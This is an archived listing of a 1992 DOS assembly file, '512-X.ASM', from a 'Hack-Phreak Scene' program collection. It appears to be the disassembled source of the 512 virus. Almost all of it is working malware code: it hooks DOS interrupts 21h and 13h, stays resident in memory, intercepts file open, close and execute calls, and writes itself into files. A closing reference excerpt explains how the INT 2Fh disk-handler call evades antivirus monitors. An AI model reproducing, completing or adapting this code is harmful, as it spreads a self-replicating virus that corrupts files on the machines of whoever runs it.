home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / 512-X.ASM < prev    next >
Assembly Source File  |  1992-08-05  |  12KB  |  305 lines

  1. ;NAME:          512-X.C-M
  2. ;FILE SIZE:     00200h - 512d
  3. ;START (CS:IP): 00100h
  4. ;CODE END:      00300h
  5. ;CODE ORIGIN:   00100h
  6. ;DATE:          Wed Aug 05 13:56:29 1992
  7.  
  8. CODE    SEGMENT BYTE PUBLIC 'CODE'
  9. ASSUME  CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
  10.  
  11. P00100  PROC
  12.         ORG     0100h
  13.  
  14. H00100: MOV    AH,30h                    ;00100 B430      _0
  15.     INT    21h        ;2-DOS_Ver        ;00102 CD21      _!
  16.     MOV    SI,0004h                ;00104 BE0400     ___
  17.     MOV    DS,SI        ;DS_Chg         ;00107 8EDE      __
  18.     CMP    AH,1Eh                    ;00109 80FC1E     ___
  19.     LDS    AX,[SI+08h]                ;0010C C54408     _D_
  20.     JB    H0011B                    ;0010F 720A      r_
  21.         MOV     AH,13h                              ;00111 B413          __
  22.     INT    2Fh        ;3-Prt_Splr_Ctrl    ;00113 CD2F      _/
  23.     PUSH    DS                    ;00115 1E         _
  24.     PUSH    DX                    ;00116 52         R
  25.     INT    2Fh        ;3-Prt_Splr_Ctrl    ;00117 CD2F      _/
  26.     POP    AX                    ;00119 58         X
  27.     POP    DS                    ;0011A 1F         _
  28. H0011B: MOV    DI,00F8h                ;0011B BFF800     ___
  29.     STOSW                        ;0011E AB         _
  30.     MOV    AX,DS                    ;0011F 8CD8      __
  31.     STOSW                        ;00121 AB         _
  32.     MOV    DS,SI        ;DS_Chg         ;00122 8EDE      __
  33.     LDS    AX,[SI+40h]                ;00124 C54440     _D@
  34.     STOSW                        ;00127 AB         _
  35.     CMP    AX,0121h                ;00128 3D2101     =!_
  36.     MOV    AX,DS                    ;0012B 8CD8      __
  37.     STOSW                        ;0012D AB         _
  38.     PUSH    ES                    ;0012E 06         _
  39.     PUSH    DI                    ;0012F 57         W
  40.     JNZ    H00139                    ;00130 7507      u_
  41.     SHL    SI,1                    ;00132 D1E6      __
  42.     MOV    CX,0100h                ;00134 B90001     ___
  43.     REPZ    CMPSW                    ;00137 F3A7      __
  44. H00139: PUSH    CS                    ;00139 0E         _
  45.     POP    DS                    ;0013A 1F         _
  46.     JZ    H00187                    ;0013B 744A      tJ
  47.     MOV    AH,52h                    ;0013D B452      _R
  48.     INT    21h        ;2-Rsvd_INT:21h-52h ;0013F CD21      _!
  49.     PUSH    ES                    ;00141 06         _
  50.     MOV    SI,00F8h                ;00142 BEF800     ___
  51.     SUB    DI,DI                    ;00145 2BFF      +_
  52.     LES    AX,ES:[BX+12h]    ;ES_Ovrd        ;00147 26C44712     &_G_
  53.     MOV    DX,ES:[DI+02h]    ;ES_Ovrd        ;0014B 268B5502     &_U_
  54.     MOV    CX,0104h                ;0014F B90401     ___
  55.     REPZ    MOVSW                    ;00152 F3A5      __
  56.     MOV    DS,CX        ;DS_Chg         ;00154 8ED9      __
  57.     MOV    DI,0016h                ;00156 BF1600     ___
  58.     MOV    Word Ptr [DI+6Eh],0121h         ;00159 C7456E2101     _En!_
  59.     MOV    [DI+70h],ES                ;0015E 8C4570     _Ep
  60.     POP    DS                    ;00161 1F         _
  61.     MOV    [BX+14h],DX                ;00162 895714     _W_
  62.     MOV    DX,CS                    ;00165 8CCA      __
  63.     MOV    DS,DX        ;DS_Chg         ;00167 8EDA      __
  64.     MOV    BX,[DI-14h]                ;00169 8B5DEC     _]_
  65.     DEC    BH                    ;0016C FECF      __
  66.     MOV    ES,BX        ;ES_Chg         ;0016E 8EC3      __
  67.     CMP    DX,[DI]                 ;00170 3B15      ;_
  68.     MOV    DS,[DI]     ;DS_Chg         ;00172 8E1D      __
  69.     MOV    DX,[DI]                 ;00174 8B15      __
  70.     DEC    DX                    ;00176 4A         J
  71.     MOV    DS,DX        ;DS_Chg         ;00177 8EDA      __
  72.     MOV    SI,CX                    ;00179 8BF1      __
  73.     MOV    DX,DI                    ;0017B 8BD7      __
  74.     MOV    CL,28h                    ;0017D B128      _(
  75.     REPZ    MOVSW                    ;0017F F3A5      __
  76.     MOV    DS,BX        ;DS_Chg         ;00181 8EDB      __
  77.     JB    H00197                    ;00183 7212      r_
  78.     INT    20h        ;B-TERM_norm:20h    ;00185 CD20      _ 
  79. ;---------------------------------------------------
  80. H00187: MOV    SI,CX                    ;00187 8BF1      __
  81.     MOV    DS,[SI+2Ch]    ;DS_Chg         ;00189 8E5C2C     _\,
  82.     LODSW                        ;0018C AD         _
  83.     DEC    SI                    ;0018D 4E         N
  84.     TEST    AX,AX                    ;0018E 85C0      __
  85.     JNZ    H0018C                    ;00190 75FA      u_
  86.     ADD    SI,+03h                 ;00192 83C603     ___
  87.     MOV    DX,SI                    ;00195 8BD6      __
  88. H00197: MOV    AH,3Dh                    ;00197 B43D      _=
  89.     CALL    H001B0        ; . . . . . . . . . ;00199 E81400     ___
  90.     MOV    DX,[DI]                 ;0019C 8B15      __
  91.     MOV    [DI+04h],DX                ;0019E 895504     _U_
  92.     ADD    [DI],CX                 ;001A1 010D      __
  93.     POP    DX                    ;001A3 5A         Z
  94.     PUSH    DX                    ;001A4 52         R
  95.     PUSH    CS                    ;001A5 0E         _
  96.     POP    ES                    ;001A6 07         _
  97.     PUSH    CS                    ;001A7 0E         _
  98.     POP    DS                    ;001A8 1F         _
  99.     PUSH    DS                    ;001A9 1E         _
  100.     MOV    AL,50h                    ;001AA B050      _P
  101.     PUSH    AX                    ;001AC 50         P
  102.     MOV    AH,3Fh                    ;001AD B43F      _?
  103.     RET            ;RET_Far        ;001AF CB         _
  104. ;---------------------------------------------------
  105. H001B0: INT    21h        ;Indef_INT:21h-AH   ;001B0 CD21      _!
  106.     JB    H001CD                    ;001B2 7219      r_
  107.     MOV    BX,AX                    ;001B4 8BD8      __
  108.     PUSH    BX                    ;001B6 53         S
  109.     MOV    AX,1220h                ;001B7 B82012     _ _
  110.     INT    2Fh        ;3-Prt_Splr_Ctrl    ;001BA CD2F      _/
  111.     MOV    BL,ES:[DI]    ;ES_Ovrd        ;001BC 268A1D     &__
  112.     MOV    AX,1216h                ;001BF B81612     ___
  113.     INT    2Fh        ;3-Prt_Splr_Ctrl    ;001C2 CD2F      _/
  114.     POP    BX                    ;001C4 5B         [
  115.     PUSH    ES                    ;001C5 06         _
  116.     POP    DS                    ;001C6 1F         _
  117.     ADD    DI,+11h                 ;001C7 83C711     ___
  118.     MOV    CX,0200h                ;001CA B90002     ___
  119. H001CD: RET            ;RET_Near        ;001CD C3         _
  120. ;---------------------------------------------------
  121.     STI                        ;001CE FB         _
  122.     PUSH    ES                    ;001CF 06         _
  123.     PUSH    SI                    ;001D0 56         V
  124.     PUSH    DI                    ;001D1 57         W
  125.     PUSH    BP                    ;001D2 55         U
  126.     PUSH    DS                    ;001D3 1E         _
  127.     PUSH    CX                    ;001D4 51         Q
  128.     CALL    H001B6        ; . . . . . . . . . ;001D5 E8DEFF     ___
  129.     MOV    BP,CX                    ;001D8 8BE9      __
  130.     MOV    SI,[DI+04h]                ;001DA 8B7504     _u_
  131.     POP    CX                    ;001DD 59         Y
  132.     POP    DS                    ;001DE 1F         _
  133.     CALL    H00211        ; . . . . . . . . . ;001DF E82F00     _/_
  134.     JB    H0020A                    ;001E2 7226      r&
  135.     CMP    SI,BP                    ;001E4 3BF5      ;_
  136.     JNB    H0020A                    ;001E6 7322      s"
  137.     PUSH    AX                    ;001E8 50         P
  138.     MOV    AL,ES:[DI-04h]    ;ES_Ovrd        ;001E9 268A45FC     &_E_
  139.     NOT    AL                    ;001ED F6D0      __
  140.     AND    AL,1Fh                    ;001EF 241F      $_
  141.     JNZ    H00209                    ;001F1 7516      u_
  142.     ADD    SI,ES:[DI]    ;ES_Ovrd        ;001F3 260335     &_5
  143.     XCHG    SI,ES:[DI+04h]    ;ES_Ovrd        ;001F6 26877504     &_u_
  144.     ADD    ES:[DI],BP    ;ES_Ovrd        ;001FA 26012D     &_-
  145.     CALL    H00211        ; . . . . . . . . . ;001FD E81100     ___
  146.     MOV    ES:[DI+04h],SI    ;ES_Ovrd        ;00200 26897504     &_u_
  147.     LAHF                        ;00204 9F         _
  148.     SUB    ES:[DI],BP    ;ES_Ovrd        ;00205 26292D     &)-
  149.     SAHF                        ;00208 9E         _
  150. H00209: POP    AX                    ;00209 58         X
  151. H0020A: POP    BP                    ;0020A 5D         ]
  152.     POP    DI                    ;0020B 5F         _
  153.     POP    SI                    ;0020C 5E         ^
  154.     POP    ES                    ;0020D 07         _
  155.     RET    0002h        ;RET_Far:0002h        ;0020E CA0200     ___
  156. ;---------------------------------------------------
  157. H00211: MOV    AH,3Fh                    ;00211 B43F      _?
  158.     PUSHF                        ;00213 9C         _
  159.     PUSH    CS                    ;00214 0E         _
  160.     CALL    H0023A        ; . . . . . . . . . ;00215 E82200     _"_
  161.     RET            ;RET_Near        ;00218 C3         _
  162. ;---------------------------------------------------
  163.     CMP    AH,3Fh                    ;00219 80FC3F     __?
  164.     JZ    H001CE                    ;0021C 74B0      t_
  165.     PUSH    DS                    ;0021E 1E         _
  166.     PUSH    ES                    ;0021F 06         _
  167.     PUSH    AX                    ;00220 50         P
  168.     PUSH    BX                    ;00221 53         S
  169.     PUSH    CX                    ;00222 51         Q
  170.     PUSH    DX                    ;00223 52         R
  171.     PUSH    SI                    ;00224 56         V
  172.     PUSH    DI                    ;00225 57         W
  173.     CMP    AH,3Eh                    ;00226 80FC3E     __>
  174.     JZ    H0023F                    ;00229 7414      t_
  175.     CMP    AX,4B00h                ;0022B 3D004B     =_K
  176.     MOV    AH,3Dh                    ;0022E B43D      _=
  177.     JZ    H00241                    ;00230 740F      t_
  178.     POP    DI                    ;00232 5F         _
  179.     POP    SI                    ;00233 5E         ^
  180.     POP    DX                    ;00234 5A         Z
  181.     POP    CX                    ;00235 59         Y
  182.     POP    BX                    ;00236 5B         [
  183.     POP    AX                    ;00237 58         X
  184.     POP    ES                    ;00238 07         _
  185.     POP    DS                    ;00239 1F         _
  186. H0023A: JMP    Word Ptr CS:[0004h]
  187.                 ;Mem_Brch:CS:[0004h];0023A 2EFF2E0400     ._.__
  188. ;---------------------------------------------------
  189. H0023F: MOV    AH,45h                    ;0023F B445      _E
  190. H00241: CALL    H001B0        ; . . . . . . . . . ;00241 E86CFF     _l_
  191.     JB    H00232                    ;00244 72EC      r_
  192.     SUB    AX,AX                    ;00246 2BC0      +_
  193.     MOV    [DI+04h],AX                ;00248 894504     _E_
  194.     MOV    Byte Ptr [DI-0Fh],02h            ;0024B C645F102     _E__
  195.     CLD                        ;0024F FC         _
  196.     MOV    DS,AX        ;DS_Chg         ;00250 8ED8      __
  197.     MOV    SI,004Ch                ;00252 BE4C00     _L_
  198.     LODSW                        ;00255 AD         _
  199.     PUSH    AX                    ;00256 50         P
  200.     LODSW                        ;00257 AD         _
  201.     PUSH    AX                    ;00258 50         P
  202.     PUSH    [SI+40h]                ;00259 FF7440     _t@
  203.     PUSH    [SI+42h]                ;0025C FF7442     _tB
  204.     LDS    DX,CS:[SI-50h]    ;CS_Ovrd        ;0025F 2EC554B0     ._T_
  205.     MOV    AX,2513h                ;00263 B81325     __%
  206.     INT    21h        ;1-Set_Int_Vctr     ;00266 CD21      _!
  207.     PUSH    CS                    ;00268 0E         _
  208.     POP    DS                    ;00269 1F         _
  209.     MOV    DX,0204h                ;0026A BA0402     ___
  210.     MOV    AL,24h                    ;0026D B024      _$
  211.     INT    21h        ;Indef_INT:21h-25h  ;0026F CD21      _!
  212.     PUSH    ES                    ;00271 06         _
  213.     POP    DS                    ;00272 1F         _
  214.     MOV    AL,[DI-04h]                ;00273 8A45FC     _E_
  215.     AND    AL,1Fh                    ;00276 241F      $_
  216.     CMP    AL,1Fh                    ;00278 3C1F      <_
  217.     JZ    H00284                    ;0027A 7408      t_
  218.     MOV    AX,[DI+17h]                ;0027C 8B4517     _E_
  219.     SUB    AX,4F43h                ;0027F 2D434F     -CO
  220.     JNZ    H002C3                    ;00282 753F      u?
  221. H00284: XOR    [DI-04h],AL                ;00284 3045FC     0E_
  222.     MOV    AX,[DI]                 ;00287 8B05      __
  223.     CMP    AX,CX                    ;00289 3BC1      ;_
  224. ;---------------------------------------------------
  225.     DB    "r6"                    ;0028B 7236
  226. ;---------------------------------------------------
  227.     ADD    AX,CX                    ;0028D 03C1      __
  228.     JB    H002C3                    ;0028F 7232      r2
  229.     TEST    Byte Ptr [DI-0Dh],04h            ;00291 F645F304     _E__
  230.     JNZ    H002C3                    ;00295 752C      u,
  231.     LDS    SI,[DI-0Ah]                ;00297 C575F6     _u_
  232.     DEC    AX                    ;0029A 48         H
  233.     SHR    AH,1                    ;0029B D0EC      __
  234.     AND    AH,[SI+04h]                ;0029D 226404     "d_
  235.     JZ    H002C3                    ;002A0 7421      t!
  236.     MOV    AX,0020h                ;002A2 B82000     _ _
  237.     MOV    DS,AX        ;DS_Chg         ;002A5 8ED8      __
  238.     SUB    DX,DX                    ;002A7 2BD2      +_
  239.     CALL    H00211        ; . . . . . . . . . ;002A9 E865FF     _e_
  240.     MOV    SI,DX                    ;002AC 8BF2      __
  241.     PUSH    CX                    ;002AE 51         Q
  242.     LODSB                        ;002AF AC         _
  243.     CMP    AL,CS:[SI+07h]    ;CS_Ovrd        ;002B0 2E3A4407     .:D_
  244.     JNZ    H002DD                    ;002B4 7527      u'
  245.     LOOP    H002AF                    ;002B6 E2F7      __
  246.     POP    CX                    ;002B8 59         Y
  247.     OR    Byte Ptr ES:[DI-04h],1Fh
  248.                 ;ES_Ovrd        ;002B9 26804DFC1F     &_M__
  249.     OR    Byte Ptr ES:[DI-0Bh],40h
  250.                 ;ES_Ovrd        ;002BE 26804DF540     &_M_@
  251. H002C3: MOV    AH,3Eh                    ;002C3 B43E      _>
  252.     CALL    H00213        ; . . . . . . . . . ;002C5 E84BFF     _K_
  253.     OR    Byte Ptr ES:[DI-0Ch],40h
  254.                 ;ES_Ovrd        ;002C8 26804DF440     &_M_@
  255.     POP    DS                    ;002CD 1F         _
  256.     POP    DX                    ;002CE 5A         Z
  257.     MOV    AX,2524h                ;002CF B82425     _$%
  258.     INT    21h        ;1-Set_Int_Vctr     ;002D2 CD21      _!
  259.     POP    DS                    ;002D4 1F         _
  260.     POP    DX                    ;002D5 5A         Z
  261.     MOV    AL,13h                    ;002D6 B013      __
  262.     INT    21h        ;Indef_INT:21h-25h  ;002D8 CD21      _!
  263.     JMP    H00232                    ;002DA E955FF     _U_
  264. ;---------------------------------------------------
  265. H002DD: POP    CX                    ;002DD 59         Y
  266.     MOV    SI,ES:[DI]    ;ES_Ovrd        ;002DE 268B35     &_5
  267.     MOV    ES:[DI+04h],SI    ;ES_Ovrd        ;002E1 26897504     &_u_
  268.     MOV    AH,40h                    ;002E5 B440      _@
  269.     INT    21h        ;2-Wr_Fl_Hdl        ;002E7 CD21      _!
  270.     JB    H002BE                    ;002E9 72D3      r_
  271.     MOV    ES:[DI],SI    ;ES_Ovrd        ;002EB 268935     &_5
  272.     MOV    ES:[DI+04h],DX    ;ES_Ovrd        ;002EE 26895504     &_U_
  273.     PUSH    CS                    ;002F2 0E         _
  274.     POP    DS                    ;002F3 1F         _
  275.     MOV    DL,08h                    ;002F4 B208      __
  276.     MOV    AH,40h                    ;002F6 B440      _@
  277.     INT    21h        ;2-Wr_Fl_Hdl        ;002F8 CD21      _!
  278.     JMP    Short H002B9                ;002FA EBBD      __
  279. ;---------------------------------------------------
  280.     IRET                        ;002FC CF         _
  281. ;---------------------------------------------------
  282.         DB      "666"                               ;002FD 363636
  283. ;---------------------------------------------------
  284.  
  285.                         
  286. P00100  ENDP
  287.  
  288. CODE    ENDS
  289.         END     H00100
  290.  
  291. ;-------------------------------------------------------------------------------
  292.  
  293. INT 2F - Multiplex - DOS 3.3+ - SET DISK INTERRUPT HANDLER
  294.         AH = 13h
  295.         DS:DX -> interrupt handler disk driver calls on read/write
  296.         ES:BX = address to restore INT 13 to on system halt (exit from root
  297.                  shell)
  298. Return: DS:DX from previous invocation of this function
  299.         ES:BX from previous invocation of this function
  300. Notes:  most DOS 3.3+ disk access is via the vector in DS:DX, although a few
  301.           functions are still invoked via an INT 13 instruction
  302.         this is a dangerous security loophole for any virus-monitoring software
  303.           which does not trap this call (at least two viruses are known to use
  304.           it to get the original ROM entry point)
  305.